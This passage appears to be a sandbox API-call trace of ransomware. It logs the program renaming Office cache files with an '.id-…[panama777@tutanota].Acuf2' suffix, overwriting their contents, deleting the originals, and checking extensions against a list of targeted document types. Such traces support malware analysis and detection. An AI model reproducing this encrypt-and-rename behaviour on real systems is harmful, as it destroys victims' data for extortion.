	[0046.864] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0046.864] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.865] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0047.200] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.200] WriteFile (in: hFile=0x1dc, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x310fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fcb0*=0xc0102, lpOverlapped=0x0) returned 1
	[0047.216] SetEndOfFile (hFile=0x1dc) returned 1
	[0047.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f237d0
	[0047.220] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.220] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.221] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.221] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.222] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.222] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f237d0 | out: hHeap=0x4f0000) returned 1
	[0047.224] CloseHandle (hObject=0x1dc) returned 1
	[0047.224] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0047.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0047.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0047.225] lstrlenW (lpString=".doc") returned 4
	[0047.225] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0047.225] lstrlenW (lpString=".docx") returned 5
	[0047.225] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0047.225] lstrlenW (lpString=".pdf") returned 4
	[0047.225] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0047.225] lstrlenW (lpString=".xls") returned 4
	[0047.225] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0047.225] lstrlenW (lpString=".xlsx") returned 5
	[0047.225] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0047.225] lstrlenW (lpString=".ppt") returned 4
	[0047.225] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0047.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0047.225] lstrlenW (lpString=".zip") returned 4
	[0047.225] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0047.225] lstrlenW (lpString=".rar") returned 4
	[0047.225] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0047.225] lstrlenW (lpString=".bz2") returned 4
	[0047.225] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0047.225] lstrlenW (lpString=".7z") returned 3
	[0047.225] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0047.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0047.225] lstrlenW (lpString=".dbf") returned 4
	[0047.225] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0047.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0047.226] lstrlenW (lpString=".1cd") returned 4
	[0047.226] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0047.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0047.226] lstrlenW (lpString=".jpg") returned 4
	[0047.226] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0047.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0047.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0047.226] lstrlenW (lpString=".doc") returned 4
	[0047.226] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0047.226] lstrlenW (lpString=".docx") returned 5
	[0047.226] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0047.226] lstrlenW (lpString=".pdf") returned 4
	[0047.226] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0047.226] lstrlenW (lpString=".xls") returned 4
	[0047.226] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0047.226] lstrlenW (lpString=".xlsx") returned 5
	[0047.226] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0047.226] lstrlenW (lpString=".ppt") returned 4
	[0047.226] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0047.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0047.226] lstrlenW (lpString=".zip") returned 4
	[0047.226] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0047.226] lstrlenW (lpString=".rar") returned 4
	[0047.226] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0047.226] lstrlenW (lpString=".bz2") returned 4
	[0047.226] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0047.226] lstrlenW (lpString=".7z") returned 3
	[0047.226] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0047.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0047.227] lstrlenW (lpString=".dbf") returned 4
	[0047.227] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0047.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0047.227] lstrlenW (lpString=".1cd") returned 4
	[0047.227] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0047.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0047.227] lstrlenW (lpString=".jpg") returned 4
	[0047.227] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0047.227] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0047.227] lstrlenW (lpString="GrooveLR.cab") returned 12
	[0047.227] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0047.227] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=4095519) returned 1
	[0047.227] CloseHandle (hObject=0x1dc) returned 1
	[0047.227] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020
	[0047.228] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.228] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0047.230] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0047.231] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0x0) returned 1
	[0047.231] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0047.231] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a40058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0047.348] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0047.348] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0047.351] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0047.351] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0047.351] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0047.499] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.499] WriteFile (in: hFile=0x1dc, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x310fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0047.821] SetEndOfFile (hFile=0x1dc) returned 1
	[0047.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f237d0
	[0047.821] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.821] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.823] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.823] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.825] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.825] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f237d0 | out: hHeap=0x4f0000) returned 1
	[0047.827] CloseHandle (hObject=0x1dc) returned 1
	[0047.827] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0047.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0047.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0047.827] lstrlenW (lpString=".doc") returned 4
	[0047.827] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0047.827] lstrlenW (lpString=".docx") returned 5
	[0047.827] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0047.828] lstrlenW (lpString=".pdf") returned 4
	[0047.828] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0047.828] lstrlenW (lpString=".xls") returned 4
	[0047.828] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0047.828] lstrlenW (lpString=".xlsx") returned 5
	[0047.828] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0047.828] lstrlenW (lpString=".ppt") returned 4
	[0047.828] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0047.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0047.828] lstrlenW (lpString=".zip") returned 4
	[0047.828] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0047.828] lstrlenW (lpString=".rar") returned 4
	[0047.828] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0047.828] lstrlenW (lpString=".bz2") returned 4
	[0047.828] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0047.828] lstrlenW (lpString=".7z") returned 3
	[0047.828] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0047.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0047.828] lstrlenW (lpString=".dbf") returned 4
	[0047.828] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0047.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0047.828] lstrlenW (lpString=".1cd") returned 4
	[0047.828] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0047.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0047.828] lstrlenW (lpString=".jpg") returned 4
	[0047.829] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0047.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0047.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0047.829] lstrlenW (lpString=".doc") returned 4
	[0047.829] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0047.829] lstrlenW (lpString=".docx") returned 5
	[0047.829] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0047.829] lstrlenW (lpString=".pdf") returned 4
	[0047.829] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0047.829] lstrlenW (lpString=".xls") returned 4
	[0047.829] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0047.829] lstrlenW (lpString=".xlsx") returned 5
	[0047.829] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0047.829] lstrlenW (lpString=".ppt") returned 4
	[0047.829] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0047.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0047.829] lstrlenW (lpString=".zip") returned 4
	[0047.829] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0047.829] lstrlenW (lpString=".rar") returned 4
	[0047.829] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0047.829] lstrlenW (lpString=".bz2") returned 4
	[0047.829] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0047.829] lstrlenW (lpString=".7z") returned 3
	[0047.829] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0047.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0047.829] lstrlenW (lpString=".dbf") returned 4
	[0047.829] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0047.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0047.829] lstrlenW (lpString=".1cd") returned 4
	[0047.829] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0047.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0047.830] lstrlenW (lpString=".jpg") returned 4
	[0047.830] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0047.830] lstrcmpiW (lpString1=".manifest", lpString2=".Acuf2") returned 1
	[0047.830] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27
	[0047.830] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0048.624] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=1857) returned 1
	[0048.624] CloseHandle (hObject=0x1a0) returned 1
	[0048.624] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020
	[0048.624] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.624] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0048.624] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.624] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.624] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0048.625] GetLastError () returned 0x0
	[0048.625] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0x741, lpOverlapped=0x0) returned 1
	[0048.627] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0x750, lpOverlapped=0x0) returned 1
	[0048.627] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.628] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0x10a, lpOverlapped=0x0) returned 1
	[0048.628] SetEndOfFile (hFile=0x1e8) returned 1
	[0048.628] CloseHandle (hObject=0x1e8) returned 1
	[0048.628] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.628] SetEndOfFile (hFile=0x1a0) returned 1
	[0048.629] CloseHandle (hObject=0x1a0) returned 1
	[0048.629] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0048.629] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1
	[0048.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0048.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0048.629] lstrlenW (lpString=".doc") returned 4
	[0048.630] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0048.630] lstrlenW (lpString=".docx") returned 5
	[0048.630] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0048.630] lstrlenW (lpString=".pdf") returned 4
	[0048.630] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0048.630] lstrlenW (lpString=".xls") returned 4
	[0048.630] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0048.630] lstrlenW (lpString=".xlsx") returned 5
	[0048.630] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0048.630] lstrlenW (lpString=".ppt") returned 4
	[0048.630] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0048.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0048.630] lstrlenW (lpString=".zip") returned 4
	[0048.630] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0048.630] lstrlenW (lpString=".rar") returned 4
	[0048.630] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0048.630] lstrlenW (lpString=".bz2") returned 4
	[0048.630] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0048.630] lstrlenW (lpString=".7z") returned 3
	[0048.630] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0048.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0048.630] lstrlenW (lpString=".dbf") returned 4
	[0048.630] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0048.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0048.630] lstrlenW (lpString=".1cd") returned 4
	[0048.630] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0048.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0048.630] lstrlenW (lpString=".jpg") returned 4
	[0048.630] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0048.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0048.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0048.631] lstrlenW (lpString=".doc") returned 4
	[0048.631] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0048.631] lstrlenW (lpString=".docx") returned 5
	[0048.631] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0048.631] lstrlenW (lpString=".pdf") returned 4
	[0048.631] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0048.631] lstrlenW (lpString=".xls") returned 4
	[0048.631] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
